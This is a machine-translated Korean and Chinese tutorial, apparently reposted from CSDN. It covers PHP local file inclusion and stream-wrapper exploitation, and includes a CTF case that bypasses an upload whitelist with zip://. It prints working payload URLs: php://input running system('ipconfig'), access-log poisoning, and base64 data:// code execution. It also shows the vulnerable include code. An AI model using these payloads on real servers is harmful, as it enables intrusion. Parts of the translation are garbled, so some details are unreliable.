>백엔드 개발 >PHP 문제 >파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

WBOY
WBOY앞으로
2022-05-04 09:00:202455검색

이 글은 PHP에 대한 관련 내용을 다루며, 주로 파일 포함과 PHP 의사 프로토콜에 대한 내용을 소개합니다. 파일 포함 취약점은 일종의 "코드 삽입"에 대해 함께 살펴보겠습니다. 모든 사람.

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

추천 연구: "PHP 비디오 튜토리얼"

파일 포함

파일 포함 취약점은 일종의 "코드 삽입"입니다. 사용자가 제어할 수 있는 스크립트나 코드를 주입하고 서버가 이를 실행하도록 하는 것이 원칙입니다. "코드 삽입"의 일반적인 대표자는 파일 포함입니다.

공격을 위해 파일 포함 취약점을 성공적으로 악용하려면 다음 두 가지 조건이 충족되어야 합니다.

  • 웹 애플리케이션은 include() 및 기타 파일 포함 기능을 사용하여 동적 변수를 통해 포함해야 하는 파일을 도입합니다.

  • 사용자는 이 동적 변수를 제어할 수 있습니다.
  • 파일 포함을 발생시키는 일반적인 함수:
PHP: include(), include_once(), require(), require_once() 등

1.php 파일에는 포함된 파일을 직접 실행할 수 있는 코드가 포함되어 있으며, 포함된 파일 형식 제한 없음
PHP에는 네 가지 파일 포함 기능이 제공됩니다.
(1) 필수: 포함된 파일을 찾을 수 없으면 치명적인 오류(E_COMPILE_ERROR)가 생성되고 스크립트가 중지됩니다.
(2) 포함; : 찾을 수 없습니다. 포함된 파일에 도달하면 하나만(E_warinng) 생성되고 스크립트는 계속 실행됩니다.
(3) Require_once: include와 유사하게 파일이 있는 경우 경고가 생성됩니다. 코드는 이미 포함되었으므로 다시 포함되지 않습니다.

PHP 의사 프로토콜

php 의사 프로토콜은 실제로 지원하는 프로토콜이자 캡슐화 프로토콜입니다. 지원하는 프로토콜은 다음과 같습니다:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.all_url_include는 PHP 5.2 이후에 추가되었습니다. 안전하고 편리한 설정(php의 기본 설정)은 다음과 같습니다:allow_url_fopen=on;all_url_include=off;

allow_url_fopen=On(URL 파일 열기 허용, 활성화됨) 기본적으로)

allow_url_fopen=꺼짐(URL 파일 열기 금지)
allow_url_include=꺼짐(URL 파일 참조 금지, 새 버전에는 기능 추가, 기본값은 꺼짐)
allow_url_include=켜짐(URL 파일 참조 허용,새 버전에는 기능 추가)

file 프로토콜
file:// filesystem은 PHP에서 사용하는 기본 래퍼 프로토콜이며 로컬 파일 시스템을 노출합니다.

file:// 프로토콜을 사용하여 로컬 phpinfo.php를 포함합니다.

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

PHP 프로토콜
php://을 사용하여 CTF에서 자주 사용되는 다양한 입력/출력 스트림(I/O 스트림)에 액세스합니다. php://filter이고 php://input
php://filter는 소스 코드를 읽는 데 사용됩니다.

php://input은 PHP 코드를 실행하는 데 사용됩니다.

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

php://filter는 PHP 파일을 읽을 때 base64 인코딩이 필요합니다


php://input파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

allow_url_include = On
  1. php://input + PHP 코드를 실행하려면 [POST DATA]
필수** *allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

allow_url_include = Off
  1. 단, 대부분의 경우 allowed_url_include는 기본적으로 꺼져 있으며
이 경우 Apache 로그 또는 POST 데이터를 포함할 수 없습니다. 오류 로그 기록


먼저 로그 경로를 폭파하는 방법을 퍼징해야 합니다.

테스트의 편의를 위해 먼저 데모를 쉽게 하기 위해 로그 내용을 지웠습니다

URL을 방문하여 오류를 보고하여 로그에 코드를 작성하세요

참고: 여기서는 액세스용 패킷을 캡처하기 위해 트림을 사용해야 합니다. 그렇지 않으면 코드가 URL로 인코딩되어 로그에 기록되며 실행할 수 없습니다. user-agent

http://localhost/www/lfi.php?file=<?php  phpinfo();?>


파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

내 로그 경로는 다음과 같습니다:

F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.
file:// pseudo-protocol을 사용하여 로그를 읽고 phpinfo가 성공적으로 실행되었는지 확인하세요

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.zip://protocol

** zip:// & bzip2:// & zlib:// **는 모두 압축된 스트림이며 압축된 파일의 하위 파일에 액세스할 수 있다는 점입니다. 접미사 이름을 지정할 필요가 없으며 jpg png gif xxx 등의 접미사로 수정할 수 있습니다.

파일 업로드와 파일 포함을 결합한 CTF 사례를 분석합니다

먼저 파일 업로드 소스 코드를 분석합니다


file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.

推荐学习:《PHP视频教程

위 내용은 파일 포함 및 PHP 의사 프로토콜 활용을 분석해 보겠습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제